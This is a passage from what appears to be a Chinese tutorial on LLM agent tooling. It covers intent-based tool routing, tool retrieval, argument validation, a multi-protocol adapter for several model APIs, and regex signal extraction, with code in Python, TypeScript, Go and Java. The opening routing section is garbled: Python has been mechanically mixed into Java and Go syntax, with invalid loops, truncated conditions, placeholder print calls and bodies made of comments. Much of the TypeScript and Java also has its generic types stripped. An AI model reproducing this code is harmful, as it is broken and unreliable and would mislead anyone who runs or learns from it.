for _, attempt := range range(self.max_retries + 1) {
// try block
// Python: args_dict = json.loads(raw_args)
if param_model {
// Python: validated = param_model(**args_dict)
// Python: args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict)
// except block
if attempt List[Intent]:
// Python: prompt = self.INTENT_PROMPT.format(query=query)
// Python: response = llm_client.chat(prompt)
// Python: parsed = json.loads(response)
// Python: intents = [Intent(**i) for i in parsed["intents"]]
return intents;
// ===== 9.11 Tool RAG =====
public class ToolRAG {
public ToolRAG(vector_store, all_toolsList) {
// Python: self.vector_store = vector_store
// Python: self.all_tools = all_tools
// 注册所有工具描述到向量库
for (var tool : all_tools) {
// Python: text = self._tool_to_text(tool)
// Python: self.vector_store.upsert(tool["function"]["name"], text)
// Python: def _tool_to_text(self, tool: Dict) -> str:
// Python: f = tool["function"]
// Python: text = f"{f['name']}: {f['description']}"
// Python: for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
// Python: text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text;
// Python: def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
// Python: results = self.vector_store.search(query, top_k=top_k)
// Python: tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names];
// ===== 9.13 结构化验证 =====
// 定义参数模型（按工具）
public class WeatherParams {
// Python: city: str
// Python: date: Optional[str] = None
public class SearchParams {
// Python: query: str
// Python: max_results: Optional[int] = 5
public class PythonParams {
// Python: code: str
// Python: timeout: Optional[int] = 30
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "web_search": SearchParams,
// Python: "run_python": PythonParams,
// Python: }
// ===== 9.12 结果压缩 =====
public class ResultCompressor {
// Python: KEY_FIELDS = {
// Python: "get_weather": ["temperature", "description", "wind_speed"],
// Python: "web_search": ["title", "snippet", "url"],
// Python: "run_python": ["stdout"],
// Python: }
// Python: MAX_CHARS = 500
// Python: def compress(self, tool_name: str, result: Any) -> Dict:
// Python: keys = self.KEY_FIELDS.get(tool_name, [])
// Python: compressed = {}
if (isinstance(result, dict) && keys) {
for (var k : keys) {
if (k in result) {
// Python: val = str(result[k])
// Python: compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// Python: compressed["summary"] = str(result)[:self.MAX_CHARS]
// Python: compressed["_meta"] = {
// Python: "tool": tool_name,
// Python: "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// Python: }
return compressed;
// ===== 全链路路由 =====
public class SmartToolRouter {
public SmartToolRouter(llm_client, vector_store, all_tools, tool_executor) {
// Python: self.llm = llm_client
// Python: self.intent_classifier = IntentClassifier()
// Python: self.tool_rag = ToolRAG(vector_store, all_tools)
// Python: self.result_compressor = ResultCompressor()
// Python: self.tool_executor = tool_executor
// Python: self.max_retries = 2
// Python: def process(self, user_query: str) -> str:
// ① 意图识别
// Python: intents = self.intent_classifier.classify(user_query, self.llm)
System.out.println(String.format("$1"));
// Python: for i, intent in enumerate(intents):
System.out.println(String.format("$1"));
// ② 按意图检索候选工具
// Python: all_relevant_tools = []
for (var intent : intents) {
// Python: tools = self.tool_rag.retrieve(intent.target, top_k=3)
// Python: all_relevant_tools.extend(tools)
// 去重
// Python: seen = set()
// Python: unique_tools = []
for (var t : all_relevant_tools) {
// Python: name = t["function"]["name"]
if (name !in seen) {
// Python: seen.add(name)
// Python: unique_tools.append(t)
System.out.println(String.format("$1"));
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述（JIT策略），而非全部工具
// Python: tool_call_results = []
for (var intent : intents) {
// 按意图过滤最相关工具
// Python: intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// Python: llm_response = self.llm.call_with_tools(
// Python: messages=[{"role": "user", "content": intent.text}],
// Python: tools=intent_tools
// Python: )
if (!llm_response.tool_calls) {
// LLM 认为不需要工具 → 直接回答
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "direct_answer": llm_response.content
// Python: })
continue;
// ④ 结构化验证 + 执行 + 重试
for (var tool_call : llm_response.tool_calls) {
// Python: result = self._execute_with_validation(
// Python: tool_call.function.name,
// Python: tool_call.function.arguments
// Python: )
// ⑤ 结果压缩
// Python: compressed = self.result_compressor.compress(
// Python: tool_call.function.name, result
// Python: )
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "tool": tool_call.function.name,
// Python: "result": compressed
// Python: })
// ⑥ LLM 整合所有结果，生成自然语言回答
// Python: final_prompt = f"""用户原始请求: {user_query}
// Python: 以下是为您收集的工具调用结果:
// Python: {json.dumps(tool_call_results, ensure_ascii=False)}
// Python: 请整合这些结果，给用户一个清晰有用的回答。"""
// Python: final_answer = self.llm.chat(final_prompt)
return final_answer;
// Python: def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
// Python: param_model = PARAM_MODELS.get(tool_name)
for (var attempt : range(self.max_retries + 1)) {
// Python: try:
// Python: args_dict = json.loads(raw_args)
if (param_model) {
// Python: validated = param_model(**args_dict)
// Python: args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict);
// Python: except (json.JSONDecodeError, ValidationError) as e:
if (attempt Python
TypeScript
Go
Java
```python
from abc import ABC, abstractmethod
from typing import Any
import json
class ProtocolStrategy(ABC):
"""协议适配层抽象接口"""
@abstractmethod
def build_request(self, messages: list[dict], tools: list[dict] = None,
system: str = None, **kwargs) -> dict:
"""将统一格式转换为目标协议格式"""
pass
@abstractmethod
def parse_response(self, response: dict) -> dict:
"""将目标协议响应解析为统一格式"""
pass
@abstractmethod
def parse_tool_call(self, response: dict) -> list[dict]:
"""提取工具调用信息"""
pass
@abstractmethod
def parse_stream_chunk(self, chunk: str) -> dict:
"""解析流式响应块"""
pass
class OpenAIProtocol(ProtocolStrategy):
"""OpenAI Chat Completions 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
msgs = messages.copy()
if system:
msgs = [{"role": "system", "content": system}] + msgs
body = {"model": kwargs.get("model", "gpt-4o"), "messages": msgs}
if tools:
body["tools"] = [{"type": "function", "function": t} for t in tools]
return body
def parse_response(self, response):
return {
"content": response["choices"][0]["message"]["content"],
"role": response["choices"][0]["message"]["role"],
"finish_reason": response["choices"][0]["finish_reason"]
}
def parse_tool_call(self, response):
msg = response["choices"][0]["message"]
if not msg.get("tool_calls"):
return []
return [
{"id": tc["id"], "name": tc["function"]["name"],
"args": json.loads(tc["function"]["arguments"])}
for tc in msg["tool_calls"]
]
def parse_stream_chunk(self, chunk):
data = json.loads(chunk.removeprefix("data: ").strip())
delta = data["choices"][0].get("delta", {})
return {"content": delta.get("content", ""),
"tool_call": delta.get("tool_calls", None)}
class AnthropicProtocol(ProtocolStrategy):
"""Anthropic Messages API 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
body = {
"model": kwargs.get("model", "claude-sonnet-4-20250514"),
"messages": messages,
"max_tokens": kwargs.get("max_tokens", 4096)
}
if system:
body["system"] = system
if tools:
body["tools"] = [
{"name": t["name"], "description": t["description"],
"input_schema": t["parameters"]} for t in tools
]
return body
def parse_response(self, response):
content_blocks = response.get("content", [])
text = "".join(b.get("text", "") for b in content_blocks if b["type"] == "text")
return {"content": text, "role": "assistant",
"finish_reason": response.get("stop_reason", "")}
def parse_tool_call(self, response):
return [
{"id": b["id"], "name": b["name"],
"args": b.get("input", {})}
for b in response.get("content", []) if b["type"] == "tool_use"
]
def parse_stream_chunk(self, chunk):
# Anthropic SSE: event: content_block_delta
if chunk.startswith("data: "):
data = json.loads(chunk[6:])
if data.get("type") == "content_block_delta":
delta = data.get("delta", {})
return {"content": delta.get("text", ""),
"tool_call": None}
return {"content": "", "tool_call": None}
class ResponsesProtocol(ProtocolStrategy):
"""OpenAI Responses API (2025+) 协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
# Responses API 使用 input 字段
body = {
"model": kwargs.get("model", "gpt-4.1"),
"input": messages, # 直接使用 messages 数组
}
if system:
body["instructions"] = system
if tools:
body["tools"] = tools # 支持内置工具类型
return body
def parse_response(self, response):
return {
"content": response.get("output_text", ""),
"role": "assistant",
"finish_reason": response.get("status", "completed")
}
def parse_tool_call(self, response):
calls = []
for item in response.get("output", []):
if item.get("type") == "function_call":
calls.append({
"id": item.get("call_id"),
"name": item.get("name"),
"args": json.loads(item.get("arguments", "{}"))
})
return calls
def parse_stream_chunk(self, chunk):
data = json.loads(chunk.removeprefix("data: ").strip())
etype = data.get("type", "")
if etype == "response.output_text.delta":
return {"content": data.get("delta", ""), "tool_call": None}
return {"content": "", "tool_call": None}
class OllamaProtocol(ProtocolStrategy):
"""Ollama 本地模型协议"""
def build_request(self, messages, tools=None, system=None, **kwargs):
body = {
"model": kwargs.get("model", "llama3.2"),
"messages": messages,
"stream": kwargs.get("stream", False),
"format": "json" if kwargs.get("json_mode") else None
}
if system and not any(m["role"] == "system" for m in messages):
body["messages"] = [{"role": "system", "content": system}] + messages
return body
def parse_response(self, response):
return {
"content": response.get("message", {}).get("content", ""),
"role": "assistant",
"finish_reason": "stop"
}
def parse_tool_call(self, response):
# Ollama 通过 OpenAI 兼容模式支持工具调用
return []
def parse_stream_chunk(self, chunk):
data = json.loads(chunk)
return {"content": data.get("message", {}).get("content", ""),
"tool_call": None}
# === 协议注册中心 ===
PROTOCOLS = {
"openai": OpenAIProtocol(),
"anthropic": AnthropicProtocol(),
"responses": ResponsesProtocol(),
"ollama": OllamaProtocol(),
}
def get_protocol(name: str) -> ProtocolStrategy:
"""根据协议名获取适配器，切换模型零成本"""
if name not in PROTOCOLS:
raise ValueError(f"Unknown protocol: {name}. Supported: {list(PROTOCOLS.keys())}")
return PROTOCOLS[name]
# === 使用示例：一行切换模型 ===
protocol = get_protocol("anthropic") # 切到 Claude
request = protocol.build_request(
messages=[{"role": "user", "content": "你好"}],
system="你是一个助手",
model="claude-sonnet-4-20250514"
)
# 切到 OpenAI 只需改一行
protocol = get_protocol("openai")
request = protocol.build_request(
messages=[{"role": "user", "content": "你好"}],
system="你是一个助手",
model="gpt-4.1"
)
// TypeScript: 多协议适配层
interface ProtocolStrategy {
buildRequest(messages: Message[], tools?: Tool[], system?: string): any;
parseResponse(response: any): UnifiedResponse;
parseToolCall(response: any): ToolCall[];
parseStreamChunk(chunk: string): StreamChunk;
}
class OpenAIProtocol implements ProtocolStrategy {
buildRequest(messages: Message[], tools?: Tool[], system?: string) {
const msgs = system ? [{ role: "system", content: system }, ...messages] : messages;
return { model: "gpt-4.1", messages: msgs, tools: tools?.map(t => ({ type: "function", function: t })) };
}
parseResponse(res: any): UnifiedResponse {
return { content: res.choices[0].message.content, role: "assistant", finishReason: res.choices[0].finish_reason };
}
parseToolCall(res: any): ToolCall[] {
return (res.choices[0].message.tool_calls || []).map((tc: any) => ({
id: tc.id, name: tc.function.name, args: JSON.parse(tc.function.arguments)
}));
}
parseStreamChunk(chunk: string): StreamChunk {
const data = JSON.parse(chunk.replace("data: ", ""));
const delta = data.choices[0]?.delta || {};
return { content: delta.content || "", toolCall: delta.tool_calls || null };
}
}
// 注册中心
const protocols: Record = {
openai: new OpenAIProtocol(),
anthropic: new AnthropicProtocol(),
responses: new ResponsesProtocol(),
ollama: new OllamaProtocol(),
};
// 一行切换协议
const protocol = protocols["openai"];
const req = protocol.buildRequest([{ role: "user", content: "你好" }], undefined, "你是助手");
package main
import (
"encoding/json"
"fmt"
)
// ProtocolStrategy 协议适配层抽象接口
type ProtocolStrategy interface {
BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{}
ParseResponse(response map[string]interface{}) UnifiedResponse
ParseToolCall(response map[string]interface{}) []ToolCall
}
// UnifiedResponse 统一响应格式
type UnifiedResponse struct {
Content string
Role string
FinishReason string
}
// ToolCall 工具调用
type ToolCall struct {
ID string
Name string
Args map[string]interface{}
}
// Message 消息
type Message struct {
Role string `json:"role"`
Content string `json:"content"`
}
// Tool 工具定义
type Tool struct {
Name string
Description string
Parameters map[string]interface{}
}
// OpenAIProtocol OpenAI Chat Completions 协议
type OpenAIProtocol struct{}
func (p *OpenAIProtocol) BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{} {
msgs := make([]map[string]interface{}, 0)
if system != "" {
msgs = append(msgs, map[string]interface{}{"role": "system", "content": system})
}
for _, m := range messages {
msgs = append(msgs, map[string]interface{}{"role": m.Role, "content": m.Content})
}
body := map[string]interface{}{
"model": "gpt-4.1",
"messages": msgs,
}
if len(tools) > 0 {
toolDefs := make([]map[string]interface{}, len(tools))
for i, t := range tools {
toolDefs[i] = map[string]interface{}{
"type": "function",
"function": map[string]interface{}{
"name": t.Name,
"description": t.Description,
"parameters": t.Parameters,
},
}
}
body["tools"] = toolDefs
}
return body
}
func (p *OpenAIProtocol) ParseResponse(response map[string]interface{}) UnifiedResponse {
choices := response["choices"].([]interface{})
choice := choices[0].(map[string]interface{})
msg := choice["message"].(map[string]interface{})
return UnifiedResponse{
Content: msg["content"].(string),
Role: msg["role"].(string),
FinishReason: choice["finish_reason"].(string),
}
}
func (p *OpenAIProtocol) ParseToolCall(response map[string]interface{}) []ToolCall {
choices := response["choices"].([]interface{})
choice := choices[0].(map[string]interface{})
msg := choice["message"].(map[string]interface{})
toolCalls, ok := msg["tool_calls"].([]interface{})
if !ok {
return []ToolCall{}
}
calls := make([]ToolCall, 0, len(toolCalls))
for _, tc := range toolCalls {
tcMap := tc.(map[string]interface{})
fn := tcMap["function"].(map[string]interface{})
var args map[string]interface{}
json.Unmarshal([]byte(fn["arguments"].(string)), &args)
calls = append(calls, ToolCall{
ID: tcMap["id"].(string),
Name: fn["name"].(string),
Args: args,
})
}
return calls
}
// AnthropicProtocol Anthropic Messages API 协议
type AnthropicProtocol struct{}
func (p *AnthropicProtocol) BuildRequest(messages []Message, tools []Tool, system string, opts map[string]interface{}) map[string]interface{} {
msgs := make([]map[string]interface{}, len(messages))
for i, m := range messages {
msgs[i] = map[string]interface{}{"role": m.Role, "content": m.Content}
}
body := map[string]interface{}{
"model": "claude-sonnet-4-20250514",
"messages": msgs,
"max_tokens": 4096,
}
if system != "" {
body["system"] = system
}
if len(tools) > 0 {
toolDefs := make([]map[string]interface{}, len(tools))
for i, t := range tools {
toolDefs[i] = map[string]interface{}{
"name": t.Name,
"description": t.Description,
"input_schema": t.Parameters,
}
}
body["tools"] = toolDefs
}
return body
}
func (p *AnthropicProtocol) ParseResponse(response map[string]interface{}) UnifiedResponse {
contentBlocks := response["content"].([]interface{})
text := ""
for _, b := range contentBlocks {
block := b.(map[string]interface{})
if block["type"] == "text" {
text += block["text"].(string)
}
}
stopReason, _ := response["stop_reason"].(string)
return UnifiedResponse{Content: text, Role: "assistant", FinishReason: stopReason}
}
func (p *AnthropicProtocol) ParseToolCall(response map[string]interface{}) []ToolCall {
contentBlocks := response["content"].([]interface{})
calls := []ToolCall{}
for _, b := range contentBlocks {
block := b.(map[string]interface{})
if block["type"] == "tool_use" {
args, _ := block["input"].(map[string]interface{})
calls = append(calls, ToolCall{
ID: block["id"].(string),
Name: block["name"].(string),
Args: args,
})
}
}
return calls
}
// 协议注册中心
var protocols = map[string]ProtocolStrategy{
"openai": &OpenAIProtocol{},
"anthropic": &AnthropicProtocol{},
}
func GetProtocol(name string) (ProtocolStrategy, error) {
p, ok := protocols[name]
if !ok {
return nil, fmt.Errorf("unknown protocol: %s", name)
}
return p, nil
}
// === 使用示例 ===
func main() {
// 切到 Anthropic
protocol, _ := GetProtocol("anthropic")
req := protocol.BuildRequest(
[]Message{{Role: "user", Content: "你好"}},
nil, "你是一个助手", nil,
)
jsonData, _ := json.MarshalIndent(req, "", " ")
fmt.Println(string(jsonData))
// 切到 OpenAI 只需改一行
protocol, _ = GetProtocol("openai")
req = protocol.BuildRequest(
[]Message{{Role: "user", Content: "你好"}},
nil, "你是一个助手", nil,
)
jsonData, _ = json.MarshalIndent(req, "", " ")
fmt.Println(string(jsonData))
}
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.JsonNode;
import java.util.*;
// 协议适配层抽象接口
interface ProtocolStrategy {
Map buildRequest(List> messages,
List> tools,
String system, Map opts);
Map parseResponse(Map response);
List> parseToolCall(Map response);
}
// OpenAI Chat Completions 协议
class OpenAIProtocol implements ProtocolStrategy {
private final ObjectMapper mapper = new ObjectMapper();
@Override
public Map buildRequest(List> messages,
List> tools,
String system, Map opts) {
List> msgs = new ArrayList<>();
if (system != null && !system.isEmpty()) {
msgs.add(Map.of("role", "system", "content", system));
}
for (Map m : messages) {
msgs.add(new HashMap<>(m));
}
Map body = new HashMap<>();
body.put("model", "gpt-4.1");
body.put("messages", msgs);
if (tools != null && !tools.isEmpty()) {
List> toolDefs = new ArrayList<>();
for (Map t : tools) {
toolDefs.add(Map.of("type", "function", "function", t));
}
body.put("tools", toolDefs);
}
return body;
}
@Override
@SuppressWarnings("unchecked")
public Map parseResponse(Map response) {
List> choices = (List>) response.get("choices");
Map msg = (Map) choices.get(0).get("message");
return Map.of(
"content", msg.getOrDefault("content", ""),
"role", msg.getOrDefault("role", "assistant"),
"finish_reason", choices.get(0).getOrDefault("finish_reason", "")
);
}
@Override
@SuppressWarnings("unchecked")
public List> parseToolCall(Map response) {
List> choices = (List>) response.get("choices");
Map msg = (Map) choices.get(0).get("message");
List> toolCalls = (List>) msg.get("tool_calls");
if (toolCalls == null) return List.of();
List> calls = new ArrayList<>();
for (Map tc : toolCalls) {
Map fn = (Map) tc.get("function");
try {
JsonNode args = mapper.readTree(fn.get("arguments").toString());
Map argsMap = mapper.convertValue(args, Map.class);
calls.add(Map.of(
"id", tc.get("id"),
"name", fn.get("name"),
"args", argsMap
));
} catch (Exception e) {
calls.add(Map.of("id", tc.get("id"), "name", fn.get("name"), "args", Map.of()));
}
}
return calls;
}
}
// Anthropic Messages API 协议
class AnthropicProtocol implements ProtocolStrategy {
@Override
public Map buildRequest(List> messages,
List> tools,
String system, Map opts) {
Map body = new HashMap<>();
body.put("model", "claude-sonnet-4-20250514");
body.put("messages", messages);
body.put("max_tokens", 4096);
if (system != null && !system.isEmpty()) {
body.put("system", system);
}
if (tools != null && !tools.isEmpty()) {
List> toolDefs = new ArrayList<>();
for (Map t : tools) {
Map td = new HashMap<>();
td.put("name", t.get("name"));
td.put("description", t.get("description"));
td.put("input_schema", t.get("parameters"));
toolDefs.add(td);
}
body.put("tools", toolDefs);
}
return body;
}
@Override
@SuppressWarnings("unchecked")
public Map parseResponse(Map response) {
List> blocks = (List>) response.get("content");
StringBuilder text = new StringBuilder();
for (Map b : blocks) {
if ("text".equals(b.get("type"))) {
text.append(b.get("text"));
}
}
return Map.of(
"content", text.toString(),
"role", "assistant",
"finish_reason", response.getOrDefault("stop_reason", "")
);
}
@Override
@SuppressWarnings("unchecked")
public List> parseToolCall(Map response) {
List> blocks = (List>) response.get("content");
List> calls = new ArrayList<>();
for (Map b : blocks) {
if ("tool_use".equals(b.get("type"))) {
calls.add(Map.of(
"id", b.get("id"),
"name", b.get("name"),
"args", b.getOrDefault("input", Map.of())
));
}
}
return calls;
}
}
// 协议注册中心
class ProtocolRegistry {
private static final Map protocols = new HashMap<>();
static {
protocols.put("openai", new OpenAIProtocol());
protocols.put("anthropic", new AnthropicProtocol());
}
public static ProtocolStrategy getProtocol(String name) {
ProtocolStrategy p = protocols.get(name);
if (p == null) throw new IllegalArgumentException("Unknown protocol: " + name);
return p;
}
}
// === 使用示例 ===
public class Main {
public static void main(String[] args) {
// 切到 Anthropic
ProtocolStrategy protocol = ProtocolRegistry.getProtocol("anthropic");
Map req = protocol.buildRequest(
List.of(Map.of("role", "user", "content", "你好")),
null, "你是一个助手", null
);
System.out.println(req);
// 切到 OpenAI 只需改一行
protocol = ProtocolRegistry.getProtocol("openai");
req = protocol.buildRequest(
List.of(Map.of("role", "user", "content", "你好")),
null, "你是一个助手", null
);
System.out.println(req);
}
}
设计要点：多协议适配层的核心价值是解耦——Agent 核心逻辑只对接统一接口，不关心底层协议差异。切换模型只需改一行 get_protocol("anthropic") → get_protocol("openai")。新增协议只需实现 ProtocolStrategy 接口，符合开闭原则。
10.17 信号提取：从对话中识别用户真实意图
用户说"帮我看看这段代码"——他想要的是代码审查？Bug 修复？还是性能优化？信号提取就是从用户输入中识别出隐含的意图、约束、偏好等关键信息，是工具路由的前置条件。
10.17.1 信号的五大类型
📡 用户对话中的五类信号 | 信号类型 | 示例 | 提取方式 | 影响 | | --- | --- | --- | --- | | 意图信号 | "帮我修一下" → 修复意图 | 意图分类器 | 工具路由方向 | | 约束信号 | "用 Python 3.12" → 语言版本约束 | 实体识别 (NER) | 代码生成约束 | | 偏好信号 | "不要用类" → 函数式偏好 | 否定句解析 | 代码风格选择 | | 上下文信号 | 选中了第 10-20 行 → 操作范围 | 编辑器状态读取 | 操作作用域 | | 情绪信号 | "怎么又报错了！" → 挫败感 | 情感分析 | 回复语气调整 | ### 10.17.2 信号提取实现
Python TypeScript Go Java
import re
from dataclasses import dataclass, field
from typing import Optional
@dataclass
class Signal:
"""提取出的信号"""
signal_type: str # intent | constraint | preference | context | emotion
key: str # 信号键，如 "language", "style", "intent"
value: str # 信号值，如 "python", "functional", "fix"
confidence: float # 置信度 0-1
source: str = "text" # 来源：text | editor | history
@dataclass
class SignalExtractor:
"""信号提取器：从用户输入中识别隐含信息"""
# 意图关键词映射
intent_patterns = {
"fix": [r"修[复改]", r"报错", r"bug", r"不工作", r"为什么.*错"],
"refactor": [r"重构", r"优化", r"改进", r"refactor", r"improve"],
"explain": [r"解释", r"什么意思", r"为什么", r"怎么.*实现", r"explain"],
"test": [r"测试", r"test", r"写.*用例", r"单元测试"],
"deploy": [r"部署", r"deploy", r"上线", r"发布"],
}
# 约束关键词映射
constraint_patterns = {
"language": r"(Python|TypeScript|Go|Java|Rust|JavaScript|C\+\+|Ruby)",
"version": r"(\d+\.\d+(?:\.\d+)?)",
"framework": r"(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)",
}
# 否定偏好模式
preference_patterns = {
"no_class": r"不要用类|不用 class|函数式",
"no_loop": r"不用循环|不要 for|递归实现",
"no_library": r"不用.*库|不要.*依赖|纯手写",
}
def extract(self, text: str, editor_context: dict = None) -> list[Signal]:
signals = []
# 1. 意图信号
for intent, patterns in self.intent_patterns.items():
for p in patterns:
if re.search(p, text, re.IGNORECASE):
signals.append(Signal("intent", "action", intent, 0.85))
break
# 2. 约束信号
for key, pattern in self.constraint_patterns.items():
match = re.search(pattern, text, re.IGNORECASE)
if match:
signals.append(Signal("constraint", key, match.group(1), 0.9))
# 3. 偏好信号
for key, pattern in self.preference_patterns.items():
if re.search(pattern, text, re.IGNORECASE):
signals.append(Signal("preference", "style", key, 0.8))
# 4. 上下文信号（来自编辑器状态）
if editor_context:
if editor_context.get("selection"):
sel = editor_context["selection"]
signals.append(Signal(
"context", "selection_range",
f"{sel.get('start', 0)}-{sel.get('end', 0)}",
1.0, "editor"
))
if editor_context.get("active_file"):
signals.append(Signal(
"context", "active_file",
editor_context["active_file"], 1.0, "editor"
))
# 5. 情绪信号（简单关键词匹配）
emotion_patterns = {
"frustrated": r"又.*报错|怎么.*错|烦|崩溃|搞不定",
"urgent": r"急|快|马上| ASAP|紧急",
"curious": r"好奇|有趣|为什么.*这样",
}
for emotion, pattern in emotion_patterns.items():
if re.search(pattern, text, re.IGNORECASE):
signals.append(Signal("emotion", "mood", emotion, 0.7))
break
return signals
def route_by_signals(self, signals: list[Signal]) -> str:
"""根据信号决定工具路由"""
intent = next((s for s in signals if s.signal_type == "intent"), None)
if not intent:
return "general_assistant"
routing = {
"fix": "code_debugger",
"refactor": "code_refactorer",
"explain": "code_explainer",
"test": "test_generator",
"deploy": "deployment_agent",
}
return routing.get(intent.value, "general_assistant")
# === 使用示例 ===
extractor = SignalExtractor()
user_input = "帮我修一下这段 Python 代码，报错了，不要用类"
editor_ctx = {"active_file": "main.py", "selection": {"start": 10, "end": 20}}
signals = extractor.extract(user_input, editor_ctx)
for s in signals:
print(f"[{s.signal_type}] {s.key}={s.value} (置信度: {s.confidence})")
# 输出：
# [intent] action=fix (置信度: 0.85)
# [constraint] language=Python (置信度: 0.9)
# [preference] style=no_class (置信度: 0.8)
# [context] selection_range=10-20 (置信度: 1.0)
# [context] active_file=main.py (置信度: 1.0)
# [emotion] mood=frustrated (置信度: 0.7)
route = extractor.route_by_signals(signals)
print(f"路由到: {route}") # 路由到: code_debugger
// TypeScript: 信号提取
interface Signal {
signalType: "intent" | "constraint" | "preference" | "context" | "emotion";
key: string;
value: string;
confidence: number;
source?: "text" | "editor" | "history";
}
class SignalExtractor {
private intentPatterns: Record = {
fix: [/修[复改]/, /报错/, /bug/i, /不工作/],
refactor: [/重构/, /优化/, /refactor/i, /improve/i],
explain: [/解释/, /什么意思/, /explain/i],
test: [/测试/, /test/i, /单元测试/],
};
extract(text: string, editorCtx?: any): Signal[] {
const signals: Signal[] = [];
// 意图信号
for (const [intent, patterns] of Object.entries(this.intentPatterns)) {
if (patterns.some(p => p.test(text))) {
signals.push({ signalType: "intent", key: "action", value: intent, confidence: 0.85 });
}
}
// 约束信号
const langMatch = text.match(/(Python|TypeScript|Go|Java|Rust)/i);
if (langMatch) {
signals.push({ signalType: "constraint", key: "language", value: langMatch[1], confidence: 0.9 });
}
// 编辑器上下文
if (editorCtx?.selection) {
signals.push({
signalType: "context", key: "selection",
value: `${editorCtx.selection.start}-${editorCtx.selection.end}`,
confidence: 1.0, source: "editor"
});
}
return signals;
}
route(signals: Signal[]): string {
const intent = signals.find(s => s.signalType === "intent");
const routing: Record = {
fix: "code_debugger", refactor: "refactorer", explain: "explainer", test: "test_gen"
};
return intent ? routing[intent.value] || "general" : "general";
}
}
package main
import (
"fmt"
"regexp"
"strings"
)
// Signal 提取出的信号
type Signal struct {
SignalType string `json:"signal_type"` // intent | constraint | preference | context | emotion
Key string `json:"key"`
Value string `json:"value"`
Confidence float64 `json:"confidence"`
Source string `json:"source"`
}
// SignalExtractor 信号提取器
type SignalExtractor struct {
intentPatterns map[string][]*regexp.Regexp
constraintPatterns map[string]*regexp.Regexp
preferencePatterns map[string]*regexp.Regexp
emotionPatterns map[string]*regexp.Regexp
}
// NewSignalExtractor 创建信号提取器
func NewSignalExtractor() *SignalExtractor {
return &SignalExtractor{
intentPatterns: map[string][]*regexp.Regexp{
"fix": {regexp.MustCompile(`(?i)修[复改]`), regexp.MustCompile(`(?i)报错`), regexp.MustCompile(`(?i)bug`), regexp.MustCompile(`不工作`)},
"refactor": {regexp.MustCompile(`(?i)重构`), regexp.MustCompile(`(?i)优化`), regexp.MustCompile(`(?i)refactor`), regexp.MustCompile(`(?i)improve`)},
"explain": {regexp.MustCompile(`(?i)解释`), regexp.MustCompile(`(?i)什么意思`), regexp.MustCompile(`(?i)explain`)},
"test": {regexp.MustCompile(`(?i)测试`), regexp.MustCompile(`(?i)test`), regexp.MustCompile(`单元测试`)},
},
constraintPatterns: map[string]*regexp.Regexp{
"language": regexp.MustCompile(`(?i)(Python|TypeScript|Go|Java|Rust|JavaScript|C\+\+|Ruby)`),
"framework": regexp.MustCompile(`(?i)(Django|Flask|FastAPI|React|Vue|Spring|Gin|Express)`),
},
preferencePatterns: map[string]*regexp.Regexp{
"no_class": regexp.MustCompile(`(?i)不要用类|不用 class|函数式`),
"no_loop": regexp.MustCompile(`(?i)不用循环|不要 for|递归实现`),
"no_library": regexp.MustCompile(`(?i)不用.*库|不要.*依赖|纯手写`),
},
emotionPatterns: map[string]*regexp.Regexp{
"frustrated": regexp.MustCompile(`又.*报错|怎么.*错|烦|崩溃|搞不定`),
"urgent": regexp.MustCompile(`急|快|马上|ASAP|紧急`),
"curious": regexp.MustCompile(`好奇|有趣|为什么.*这样`),
},
}
}
// EditorContext 编辑器上下文
type EditorContext struct {
ActiveFile string
Selection *Selection
}
type Selection struct {
Start int
End int
}
// Extract 从用户输入中提取信号
func (se *SignalExtractor) Extract(text string, editorCtx *EditorContext) []Signal {
signals := []Signal{}
// 1. 意图信号
for intent, patterns := range se.intentPatterns {
for _, p := range patterns {
if p.MatchString(text) {
signals = append(signals, Signal{"intent", "action", intent, 0.85, "text"})
break
}
}
}
// 2. 约束信号
for key, p := range se.constraintPatterns {
match := p.FindString(text)
if match != "" {
signals = append(signals, Signal{"constraint", key, match, 0.9, "text"})
}
}
// 3. 偏好信号
for key, p := range se.preferencePatterns {
if p.MatchString(text) {
signals = append(signals, Signal{"preference", "style", key, 0.8, "text"})
}
}
// 4. 上下文信号（来自编辑器状态）
if editorCtx != nil {
if editorCtx.Selection != nil {
signals = append(signals, Signal{
"context", "selection_range",
fmt.Sprintf("%d-%d", editorCtx.Selection.Start, editorCtx.Selection.End),
1.0, "editor",
})
}
if editorCtx.ActiveFile != "" {
signals = append(signals, Signal{"context", "active_file", editorCtx.ActiveFile, 1.0, "editor"})
}
}
// 5. 情绪信号
for emotion, p := range se.emotionPatterns {
if p.MatchString(text) {
signals = append(signals, Signal{"emotion", "mood", emotion, 0.7, "text"})
break
}
}
return signals
}
// RouteBySignals 根据信号决定工具路由
func (se *SignalExtractor) RouteBySignals(signals []Signal) string {
for _, s := range signals {
if s.SignalType == "intent" {
routing := map[string]string{
"fix": "code_debugger",
"refactor": "code_refactorer",
"explain": "code_explainer",
"test": "test_generator",
}
if route, ok := routing[s.Value]; ok {
return route
}
}
}
return "general_assistant"
}
// === 使用示例 ===
func main() {
extractor := NewSignalExtractor()
userInput := "帮我修一下这段 Python 代码，报错了，不要用类"
editorCtx := &EditorContext{
ActiveFile: "main.py",
Selection: &Selection{Start: 10, End: 20},
}
signals := extractor.Extract(userInput, editorCtx)
for _, s := range signals {
